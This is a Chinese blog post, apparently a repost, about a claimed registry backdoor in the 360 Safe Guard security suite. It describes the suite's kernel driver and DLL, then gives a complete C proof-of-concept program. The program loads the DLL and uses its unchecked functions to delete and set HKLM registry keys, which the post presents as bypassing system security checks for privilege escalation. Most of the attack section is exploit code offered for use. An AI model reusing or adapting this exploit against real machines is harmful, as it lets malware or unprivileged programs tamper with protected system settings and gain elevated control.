最新消息:网站改版咯

利用360后门提权

Web技术 Yovae 1055浏览

360安全卫士全部版本会在安装过程中在用户系统上安装一个注册表操作后门程序,该后门可以绕过操作系统的安全检查机制任意操作(设置、删除等)用户的注册表。由于该程序没有对调用者进行检查,导致任意程序(如各种木马程序等)可以通过该后门任意操作(设置、删除等)用户的注册表系统。
该后门包括两个文件:

1、bregdrv.sys:内核模式驱动,该驱动程序通过调用操作系统的未公开CmXxx系列函数来操作注册表,另外由于操作系统内部本身维护了很多同步数据、缓存数据,直接调用CmXxx系列函数操作注册表极有可能造成系统内部数据不同步,严重影响系统安全性,甚至可能导致用户正常数据丢失;
2、bregdll.dll:用户态动态库,该动态库封装了对bregdrv.sys的调用,为用户态程序提供注册表操作后门的接口;
bregdrv.sys
处理IoControl:

通过CmDeleteKey实现注册表键值的删除操作:

bregdll.dll
BRegDeleteKeyW函数中调用驱动的0x7be2058号IoControl实现删除注册表键值操作:

用C语言编写个程序就可以轻松利用该漏洞,一下是程序代码:

#include <windows.h>
typedef BOOL (WINAPI *INIT_REG_ENGINE)();
typedef LONG (WINAPI *BREG_DELETE_KEY)(HKEY hKey, LPCSTR lpSubKey);
typedef LONG (WINAPI *BREG_OPEN_KEY)(HKEY hKey, LPCSTR lpSubKey, PHKEY phkResult);
typedef LONG (WINAPI *BREG_CLOSE_KEY)(HKEY hKey);
typedef LONG (WINAPI *REG_SET_VALUE_EX)(HKEY hKey, LPCSTR lpValueName, DWORD Reserved, DWORD dwType, const BYTE* lpData, DWORD cbData); BREG_DELETE_KEY BRegDeleteKey = NULL;
BREG_OPEN_KEY BRegOpenKey = NULL;
BREG_CLOSE_KEY BRegCloseKey = NULL;
REG_SET_VALUE_EX BRegSetValueEx = NULL;
#define AppPath &quot;Software\Microsoft\Windows\CurrentVersion\App Paths\360safe.exe&quot; #define TestDeleteKey HKEY_LOCAL_MACHINE
#define TestDeleteRegPath &quot;Software\360Safe\Update&quot; #define TestSetKey HKEY_LOCAL_MACHINE
#define TestSetPath &quot;Software\360Safe&quot;
BOOL InitBRegDll()
{
LONG lResult;
HKEY hKey;
CHAR cPath[MAX_PATH + 32] = { 0 };
DWORD dwPathLen = MAX_PATH;
lResult = RegOpenKeyA(HKEY_LOCAL_MACHINE, AppPath, &amp;hKey);
if (FAILED(lResult)) return FALSE;
DWORD dwType = REG_SZ;
lResult = RegQueryValueExA(hKey, &quot;Path&quot;, NULL, &amp;dwType, (LPBYTE)cPath, &amp;dwPathLen);
RegCloseKey(hKey); if (FAILED(lResult)) return FALSE;
strcat(cPath, &quot;\deepscan\BREGDLL.dll&quot;);
HMODULE modBReg = LoadLibraryA(cPath);
if (!modBReg) return FALSE;
INIT_REG_ENGINE InitRegEngine = (INIT_REG_ENGINE)GetProcAddress(modBReg, &quot;InitRegEngine&quot;);
BRegDeleteKey = (BREG_DELETE_KEY)GetProcAddress(modBReg, &quot;BRegDeleteKey&quot;);
BRegOpenKey = (BREG_OPEN_KEY)GetProcAddress(modBReg, &quot;BRegOpenKey&quot;);
BRegCloseKey = (BREG_CLOSE_KEY)GetProcAddress(modBReg, &quot;BRegCloseKey&quot;);
BRegSetValueEx = (REG_SET_VALUE_EX)GetProcAddress(modBReg, &quot;BRegSetValueEx&quot;);
if (!InitRegEngine || !BRegDeleteKey || !BRegOpenKey || !BRegCloseKey || !BRegSetValueEx)
{
FreeLibrary(modBReg); return FALSE;
}
if (!InitRegEngine())
{
FreeLibrary(modBReg);
return FALSE;
} return TRUE;
}
LONG TestSetRegKey()
{
HKEY hKey; LONG lResult;
lResult = BRegOpenKey(TestSetKey, TestSetPath, &amp;hKey);
if (FAILED(lResult))
return lResult;
DWORD dwType = REG_SZ; static char szData[] = &quot;TEST VALUE&quot;;
lResult = BRegSetValueEx(hKey, TestSetPath, NULL, dwType, (const BYTE *)&amp;szData, (DWORD)sizeof(szData));
BRegCloseKey(hKey)
return lResult;
}
int main(int argc, char *argv[])
{
if (!InitBRegDll())
{
MessageBoxA(NULL, &quot;初始化BReg失败!&quot;, &quot;失败&quot;, MB_ICONSTOP);
return 1;
}
if (FAILED(BRegDeleteKey(TestDeleteKey, TestDeleteRegPath)))
{
MessageBoxA(NULL, &quot;键值删除失败!&quot;, &quot;失败&quot;, MB_ICONSTOP);
return 2;
}
if (FAILED(TestSetRegKey()))
{
MessageBoxA(NULL, &quot;设置键值失败!&quot;, &quot;失败&quot;, MB_ICONSTOP);
return 3;
}
MessageBoxA(NULL, &quot;突破系统安全检查,获得最高权限,漏洞利用成功!&quot;, &quot;成功&quot;, MB_OK);
return 0;
}

转载请注明:Yovae Studio » 利用360后门提权